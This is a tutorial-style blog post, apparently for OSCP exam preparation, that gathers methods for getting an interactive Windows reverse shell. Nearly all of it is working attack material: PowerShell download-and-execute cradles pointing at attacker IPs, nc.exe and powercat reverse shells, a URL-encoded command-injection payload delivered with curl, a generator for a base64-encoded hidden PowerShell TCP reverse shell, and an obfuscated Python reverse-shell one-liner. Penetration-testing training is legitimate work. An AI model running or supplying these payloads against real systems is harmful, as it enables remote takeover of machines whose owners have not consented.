Fully interactive Windows Reverse Shell
Introduction
In this post, we’ll explore various methods for achieving a fully interactive Windows reverse shell, from leveraging built-in tools to employing advanced techniques for better control and functionality.
Via Invoke-ConPtyShell
My go-to pick to get a fully interactive Windows reverse shell is via Invoke-ConPtyShell script.
Useful when Windows shell do not give any output and gives odd behaviour. (e.g. mimikatz can not be started, winpeas, etc.)
Location: /usr/share/nishang/Shells/Invoke-ConPtyShell.ps1
Copy Invoke-ConPtyShell.ps1 into current working directory:
cp /usr/share/nishang/Shells/Invoke-ConPtyShell.ps1 .
Host the file via:
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On Kali (attacking machine):
stty raw -echo; (stty size; cat) | nc -lvnp 9001
- set up netcat listener on port 9001
On the target:
[powershell] IEX(IWR http://192.168.45.236:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.45.236 9001
Note:
If this method fails and you fail to upgrade your shell, try to spawn a new reverse shell via nc64.exe (as shown below) and try Invoke-ConPtyShell again
netcat (nc.exe)
Download the nc64.exe binary.
.\nc.exe -e cmd.exe <Attacker_IP> <PORT>
Note: Make sure to have a listener handler running to catch our connection.
Powershell
In Powershell, there are multiple ways to spawn a reverse shell.
Use IWR to download a custom shell.ps1 script and execute it via IEX.
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
Directly download and execute your custom Powershell script.
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Alternative A:
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
Altnernative B:
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
Powercat.ps1
Another powerful tool to spawn reverse shells is called Powercat.
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
Download the powercat.ps1 script and execute it to connect to our listener in port 9001.
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.196:8081/powercat.ps1");powercat -c 192.168.45.196 -p 9001 -e powershell
Let’s say that we have a (remote) code execution in a command parameter in a web application.
We can use the command injection to download our powercat script and run it to establish a reverse shell connection with the target server.
curl -X POST --data 'command=%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.196:8081%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.196:8081%20-p%209001%20-e%20powershell' http://192.168.45.196:8081/evil_endpoint
generate_powershell_reverse.py
My favorite way to generate a base64 encoded reverse shell in Powershell is by using this script:
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.236",9443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
Just change the local ip and local port and run it via python3 generate_powershell_reverse.py.
It will provide you with a similar output, so there’s no need to worry about backend filtering (e.g., special characters, whitespaces).
powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUA...
python
If the compromised Windows host has python installed, we can use this to spawn a reverse shell:
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Conclusion
Mastering these methods for obtaining a fully interactive Windows reverse shell is practical skill that can significantly impact your performance during the OSCP exam. It will help you gain deeper access and control over the target Windows systems.